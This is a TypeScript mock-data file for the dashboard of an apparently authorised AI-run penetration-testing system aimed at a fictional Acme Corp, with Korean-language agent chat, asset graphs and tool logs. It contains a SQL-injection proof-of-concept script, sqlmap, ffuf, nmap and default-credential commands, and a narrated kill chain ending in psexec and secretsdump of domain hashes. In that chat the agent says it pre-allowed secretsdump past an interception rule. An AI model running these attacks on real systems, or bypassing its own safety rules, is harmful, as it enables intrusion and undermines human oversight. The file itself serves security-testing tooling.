"승산이 있습니다. Script Console 에 인증이 없어 바로 Groovy RCE 가 됩니다. worker 가 이 호스트를 우선 공략하도록 힌트를 주입해 두었습니다. 장악한 뒤에는 자격 증명 저장소를 주시해야 하고, 그 안에 도메인 계정이 있을 수 있습니다.",
|
||
},
|
||
{
|
||
seq: 8,
|
||
worker: "user",
|
||
ts: T("2026-07-25T23:25:00Z"),
|
||
kind: "user",
|
||
summary: "도메인 계정은 잡았어. svc_deploy 가 Domain Admins 던데, 바로 도메인 컨트롤러로 갈까?",
|
||
},
|
||
{
|
||
seq: 9,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T23:25:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"맞습니다. svc_deploy + Domain Admins 이면 psexec 로 DC01 을 바로 장악할 수 있습니다. 확보한 뒤 secretsdump 로 전체 도메인 해시를 덤프하면 마무리됩니다. secretsdump 는 가로채기 규칙에 걸리니, 미리 허용해 두었습니다.",
|
||
},
|
||
{
|
||
seq: 10,
|
||
worker: "user",
|
||
ts: T("2026-07-26T00:22:00Z"),
|
||
kind: "user",
|
||
summary: "목표는 장악했어. 공격 체인 좀 정리해 줘.",
|
||
},
|
||
{
|
||
seq: 11,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T00:22:12Z"),
|
||
kind: "text",
|
||
summary:
|
||
"전체 킬체인은 다음과 같습니다.\n1. .git 유출→소스 코드 화이트박스+하드코딩 자격 증명\n2. shop Fastjson RCE→DMZ 리버스 셸\n3. sudo 권한 상승→root 거점 확보\n4. 내부망 발견→DC01/FS01/Jenkins\n5. Jenkins 미인증→svc_deploy 도메인 자격 증명 덤프\n6. Kerberoasting→svc_sql 크랙\n7. svc_deploy∈Domain Admins→psexec DC01→secretsdump 전체 도메인 해시\n\n네 개 목표를 모두 달성했고, 취약점 17건(높음 7/중간 4/낮음 2 + 내부망 경로 8)을 확보했습니다.",
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── 资产测试覆盖度(/tasks/{id}/coverage)──
|
||
export const coverage = {
|
||
enabled: true,
|
||
scope_rows: 4,
|
||
denominator: 26,
|
||
tested: 11,
|
||
pct: 11 / 26,
|
||
by_type: [
|
||
{ type: "subdomain", total: 6, tested: 4 },
|
||
{ type: "service", total: 9, tested: 4 },
|
||
{ type: "endpoint", total: 8, tested: 2 },
|
||
{ type: "ip", total: 3, tested: 1 },
|
||
],
|
||
};
|
||
|
||
// ── 资产覆盖图(/tasks/{id}/coverage-graph)──
|
||
export const coverageGraph = {
|
||
nodes: [
|
||
{ key: "c:1", kind: "company", label: "Acme Corp", tested: false, in_scope: false, company_id: 1 },
|
||
{
|
||
key: "a:1",
|
||
kind: "root_domain",
|
||
label: "acme.com",
|
||
tested: false,
|
||
in_scope: false,
|
||
asset_id: 1,
|
||
domain: "acme.com",
|
||
company_id: 1,
|
||
},
|
||
{
|
||
key: "a:2",
|
||
kind: "subdomain",
|
||
label: "www.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 2,
|
||
domain: "www.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:3",
|
||
kind: "subdomain",
|
||
label: "api.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 3,
|
||
domain: "api.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:4",
|
||
kind: "subdomain",
|
||
label: "admin.acme.com",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 4,
|
||
domain: "admin.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:5",
|
||
kind: "service",
|
||
label: "www.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 5,
|
||
domain: "www.acme.com",
|
||
url: "https://www.acme.com",
|
||
port: 443,
|
||
page_title: "Acme 홈페이지",
|
||
status_code: 200,
|
||
},
|
||
{
|
||
key: "a:6",
|
||
kind: "endpoint",
|
||
label: "https://www.acme.com/search",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 6,
|
||
url: "https://www.acme.com/search?q=",
|
||
domain: "www.acme.com",
|
||
},
|
||
{
|
||
key: "a:7",
|
||
kind: "service",
|
||
label: "api.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 7,
|
||
domain: "api.acme.com",
|
||
url: "https://api.acme.com",
|
||
port: 443,
|
||
page_title: "API Gateway",
|
||
status_code: 401,
|
||
},
|
||
{
|
||
key: "a:8",
|
||
kind: "endpoint",
|
||
label: "https://api.acme.com/v1/orders",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 8,
|
||
url: "https://api.acme.com/v1/orders?id=",
|
||
domain: "api.acme.com",
|
||
},
|
||
{
|
||
key: "a:9",
|
||
kind: "service",
|
||
label: "admin.acme.com",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 9,
|
||
domain: "admin.acme.com",
|
||
url: "https://admin.acme.com",
|
||
port: 443,
|
||
page_title: "백오피스 로그인",
|
||
status_code: 200,
|
||
},
|
||
{
|
||
key: "a:10",
|
||
kind: "ip",
|
||
label: "203.0.113.10",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 10,
|
||
ip: "203.0.113.10",
|
||
company_id: 1,
|
||
},
|
||
],
|
||
edges: [
|
||
{ src: "a:1", dst: "c:1" },
|
||
{ src: "a:2", dst: "a:1" },
|
||
{ src: "a:3", dst: "a:1" },
|
||
{ src: "a:4", dst: "a:1" },
|
||
{ src: "a:5", dst: "a:2" },
|
||
{ src: "a:6", dst: "a:5" },
|
||
{ src: "a:7", dst: "a:3" },
|
||
{ src: "a:8", dst: "a:7" },
|
||
{ src: "a:9", dst: "a:4" },
|
||
{ src: "a:10", dst: "c:1" },
|
||
],
|
||
};
|
||
|
||
// ── 资产在本任务关联的意图/事实/发现(/tasks/{id}/asset-refs)──
|
||
// 播报板 demo:探索节点 → 其锚定资产。真实后端读 exploration_anchors,mock 里静态给几条。
|
||
const NODE_ASSETS: Record<string, number[]> = {
|
||
fi1: [3],
|
||
fi2: [2, 4],
|
||
fi3: [5],
|
||
fiRce: [4],
|
||
fiPriv: [19],
|
||
fiJenkins: [21],
|
||
i1: [2],
|
||
i7: [4],
|
||
};
|
||
|
||
export function nodeAssetsFor(nodeId: string): FindingAsset[] {
|
||
return (NODE_ASSETS[nodeId] ?? []).flatMap((id) => {
|
||
const asset = assets.find((candidate) => candidate.id === id);
|
||
return asset ? [assetRef(id)] : [];
|
||
});
|
||
}
|
||
|
||
export function assetRefsFor(_assetId: number) {
|
||
return {
|
||
intents: [
|
||
{ id: 12, kind: "intent", state: "done", summary: "www.acme.com 검색 엔드포인트 대상 SQL 인젝션 탐지" },
|
||
{ id: 18, kind: "intent", state: "running", summary: "api.acme.com 객체 권한 우회(IDOR) 열거" },
|
||
],
|
||
facts: [
|
||
{
|
||
id: 34,
|
||
kind: "fact",
|
||
state: "confirmed",
|
||
summary: "search?q= 파라미터 인젝션 가능, 오류 회신에 MySQL 문법 오류 노출",
|
||
},
|
||
],
|
||
findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[높음] SQL 인젝션 www.acme.com/search?q=" }],
|
||
};
|
||
}
|
||
|
||
// ── 工作空间文件管理器(/workspace/*,demo:静态示例树)──
|
||
const WS_TREE: Record<string, { name: string; dir: boolean; size: number; content?: string }[]> = {
|
||
"": [
|
||
{ name: "t-001", dir: true, size: 0 },
|
||
{ name: "transcripts", dir: true, size: 0 },
|
||
{
|
||
name: "notes.md",
|
||
dir: false,
|
||
size: 96,
|
||
content:
|
||
"# 작업 공간 노트\n\n(데모) 작업 공간 루트 디렉터리에 있는 예시 파일로, 온라인에서 편집하고 저장할 수 있습니다.\n",
|
||
},
|
||
],
|
||
"t-001": [
|
||
{ name: "i12", dir: true, size: 0 },
|
||
{ name: "recon.txt", dir: false, size: 64, content: "acme.com\nwww.acme.com\napi.acme.com\nadmin.acme.com\n" },
|
||
],
|
||
"t-001/i12": [
|
||
{
|
||
name: "exploit.py",
|
||
dir: false,
|
||
size: 220,
|
||
content:
|
||
"#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n",
|
||
},
|
||
{
|
||
name: "response.html",
|
||
dir: false,
|
||
size: 180,
|
||
content: "<!-- (데모) 캡처한 응답 본문 조각 -->\n<html><body>MySQL error near ''1'='1'</body></html>\n",
|
||
},
|
||
],
|
||
transcripts: [
|
||
{
|
||
name: "exp1-worker-i12.jsonl",
|
||
dir: false,
|
||
size: 512,
|
||
content: "(데모) 원시 LLM 대화 기록 예시이며, 여기서는 생략합니다.",
|
||
},
|
||
],
|
||
};
|
||
|
||
const wsClean = (p: string) => p.replace(/^\/+|\/+$/g, "");
|
||
|
||
export function workspaceList(path: string) {
|
||
const key = wsClean(path);
|
||
const items = WS_TREE[key] ?? [];
|
||
const now = Date.parse("2026-08-09T03:00:00Z");
|
||
return {
|
||
path: key,
|
||
entries: items.map((it, i) => ({
|
||
name: it.name,
|
||
path: key ? `${key}/${it.name}` : it.name,
|
||
dir: it.dir,
|
||
size: it.size,
|
||
mtime: now - i * 3_600_000,
|
||
})),
|
||
};
|
||
}
|
||
|
||
export function workspaceRead(path: string) {
|
||
const key = wsClean(path);
|
||
const slash = key.lastIndexOf("/");
|
||
const parent = slash >= 0 ? key.slice(0, slash) : "";
|
||
const name = slash >= 0 ? key.slice(slash + 1) : key;
|
||
const f = (WS_TREE[parent] ?? []).find((x) => x.name === name && !x.dir);
|
||
return { path: key, size: f?.size ?? 0, binary: false, content: f?.content ?? "" };
|
||
}
|
||
|
||
// ── 工具执行历史(/commands)──
|
||
export const commandRecords = [
|
||
{
|
||
id: 1,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }),
|
||
output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… 검색 결과 페이지 …</html>",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:10:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }),
|
||
output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:12:30Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
exploration_id: 1,
|
||
worker: "worker-2",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }),
|
||
output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:15:00Z"),
|
||
},
|
||
{
|
||
id: 4,
|
||
exploration_id: 1,
|
||
worker: "worker-2",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }),
|
||
output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:18:00Z"),
|
||
},
|
||
{
|
||
id: 5,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }),
|
||
output: "curl: (28) Operation timed out after 10000 ms",
|
||
is_error: true,
|
||
created_at: T("2026-08-09T02:20:00Z"),
|
||
},
|
||
];
|
||
|
||
// ── LLM 录制(/llm/records、/llm/records/{id})──
|
||
export const llmRecords = [
|
||
{
|
||
id: 1,
|
||
ts: T("2026-08-09T02:10:02Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "기본",
|
||
session_id: "exp1-worker-i12",
|
||
task_id: "t-001",
|
||
worker: "worker-1",
|
||
latency_ms: 3210,
|
||
input_tokens: 8421,
|
||
output_tokens: 512,
|
||
cache_read: 6000,
|
||
cache_write: 1200,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 2,
|
||
ts: T("2026-08-09T02:11:40Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "기본",
|
||
session_id: "exp1-planner",
|
||
task_id: "t-001",
|
||
worker: "planner",
|
||
latency_ms: 4180,
|
||
input_tokens: 12044,
|
||
output_tokens: 733,
|
||
cache_read: 9000,
|
||
cache_write: 1500,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 3,
|
||
ts: T("2026-08-09T02:15:20Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "기본",
|
||
session_id: "exp1-worker-i18",
|
||
task_id: "t-001",
|
||
worker: "worker-2",
|
||
latency_ms: 2890,
|
||
input_tokens: 7311,
|
||
output_tokens: 421,
|
||
cache_read: 5200,
|
||
cache_write: 900,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 4,
|
||
ts: T("2026-08-09T02:16:05Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "기본",
|
||
session_id: "exp1-worker-i18",
|
||
task_id: "t-001",
|
||
worker: "worker-2",
|
||
latency_ms: 900,
|
||
input_tokens: 7600,
|
||
output_tokens: 0,
|
||
cache_read: 5200,
|
||
cache_write: 0,
|
||
status: "error",
|
||
error: "429 Too Many Requests (백오프 후 재시도함)",
|
||
},
|
||
];
|
||
|
||
// Distinct tasks with counts, derived from llmRecords above (task picker).
|
||
const llmTaskCounts: Record<string, number> = {};
|
||
for (const r of llmRecords) if (r.task_id) llmTaskCounts[r.task_id] = (llmTaskCounts[r.task_id] ?? 0) + 1;
|
||
export const llmTasks: LLMTask[] = Object.entries(llmTaskCounts).map(([task_id, count]) => ({ task_id, count }));
|
||
|
||
export function llmRecordDetail(id: number, records = llmRecords) {
|
||
const item = records.find((r) => r.id === id) ?? records[0];
|
||
return {
|
||
...item,
|
||
request_body: JSON.stringify(
|
||
{
|
||
model: item.model,
|
||
system: "你是一个授权渗透测试系统的「执行者」…(省略)",
|
||
messages: [{ role: "user", content: "开始执行 system 提示里的这条意图:只做它、只产生事实、做完即停。" }],
|
||
tools: ["bash", "insert_assets", "record_fact", "report_finding"],
|
||
},
|
||
null,
|
||
2,
|
||
),
|
||
response_body: JSON.stringify(
|
||
{
|
||
stop_reason: item.status === "error" ? "error" : "tool_use",
|
||
content: [
|
||
{ type: "text", text: "search?q= 에 인젝션 탐지를 수행하고, 먼저 오류 기반 payload 로 검증한다." },
|
||
{ type: "tool_use", name: "bash", input: { command: "curl -s 'https://www.acme.com/search?q=1%27'" } },
|
||
],
|
||
usage: { input_tokens: item.input_tokens, output_tokens: item.output_tokens },
|
||
},
|
||
null,
|
||
2,
|
||
),
|
||
// HTTP 原文:请求含被归一化视图丢弃的完整工具 schema,响应为原始 SSE 帧。
|
||
raw_request: JSON.stringify({
|
||
model: item.model,
|
||
max_tokens: 8192,
|
||
stream: true,
|
||
system: [
|
||
{ type: "text", text: "你是一个授权渗透测试系统的「执行者」…(省略)", cache_control: { type: "ephemeral" } },
|
||
],
|
||
messages: [{ role: "user", content: "开始执行 system 提示里的这条意图:只做它、只产生事实、做完即停。" }],
|
||
tools: [
|
||
{
|
||
name: "bash",
|
||
description: "在目标环境中执行一条 shell 命令并返回其输出。",
|
||
input_schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
|
||
},
|
||
],
|
||
thinking: { type: "enabled" },
|
||
}),
|
||
raw_response: [
|
||
`event: message_start`,
|
||
`data: {"type":"message_start","message":{"id":"msg_01mock","model":"${item.model}","usage":{"input_tokens":${item.input_tokens},"output_tokens":1}}}`,
|
||
``,
|
||
`event: content_block_delta`,
|
||
`data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"search?q= 에 인젝션 탐지를 수행한다."}}`,
|
||
``,
|
||
`event: content_block_start`,
|
||
`data: {"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"toolu_01mock","name":"bash"}}`,
|
||
``,
|
||
`event: content_block_delta`,
|
||
`data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\\"command\\":\\"curl -s 'https://www.acme.com/search?q=1%27'\\"}"}}`,
|
||
``,
|
||
`event: message_delta`,
|
||
`data: {"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":${item.output_tokens}}}`,
|
||
``,
|
||
`event: message_stop`,
|
||
`data: {"type":"message_stop"}`,
|
||
``,
|
||
].join("\n"),
|
||
};
|
||
}
|